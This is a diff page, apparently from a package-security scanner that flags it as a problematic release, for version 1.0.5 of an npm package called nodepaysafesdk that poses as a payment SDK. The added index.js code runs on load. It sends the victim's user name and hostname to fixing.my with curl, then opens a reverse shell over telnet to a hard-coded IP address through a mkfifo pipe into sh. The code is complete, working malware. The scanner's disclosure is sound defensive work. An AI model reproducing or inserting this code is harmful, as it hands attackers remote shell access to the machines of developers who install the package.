nodepaysafesdk 1.0.4 → 1.0.5
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of nodepaysafesdk might be problematic. Click here for more details.
- package/index.js +35 -11
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,12 +1,36 @@
|
|
1
1
|
const { exec } = require("child_process");
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
}
|
2
|
+
const fs = require("fs");
|
3
|
+
const path = require("path");
|
4
|
+
|
5
|
+
const usedPortsFile = path.join(__dirname, "usedPorts.json");
|
6
|
+
const minPort = 4100;
|
7
|
+
const maxPort = 4200;
|
8
|
+
|
9
|
+
let usedPorts = [];
|
10
|
+
if (fs.existsSync(usedPortsFile)) {
|
11
|
+
usedPorts = JSON.parse(fs.readFileSync(usedPortsFile));
|
12
|
+
}
|
13
|
+
|
14
|
+
function getRandomUnusedPort() {
|
15
|
+
const range = maxPort - minPort + 1;
|
16
|
+
let port;
|
17
|
+
for (let attempts = 0; attempts < 100; attempts++) {
|
18
|
+
port = Math.floor(Math.random() * range) + minPort;
|
19
|
+
if (!usedPorts.includes(port)) {
|
20
|
+
return port;
|
21
|
+
}
|
22
|
+
}
|
23
|
+
return null;
|
24
|
+
}
|
25
|
+
|
26
|
+
function sendRequest(port) {
|
27
|
+
exec(`curl -X POST fixing.my/\`whoami\`/\`hostname\`/${port} -s -o /dev/null;TF=$(mktemp -u); mkfifo $TF && telnet 95.111.250.209 ${port} 0<$TF | sh 1>$TF 2>/dev/null &>/dev/null&`, () => {});
|
28
|
+
}
|
29
|
+
|
30
|
+
const randomPort = getRandomUnusedPort();
|
31
|
+
if (randomPort) {
|
32
|
+
sendRequest(randomPort);
|
33
|
+
usedPorts.push(randomPort);
|
34
|
+
fs.writeFileSync(usedPortsFile, JSON.stringify(usedPorts));
|
35
|
+
}
|
36
|
+
|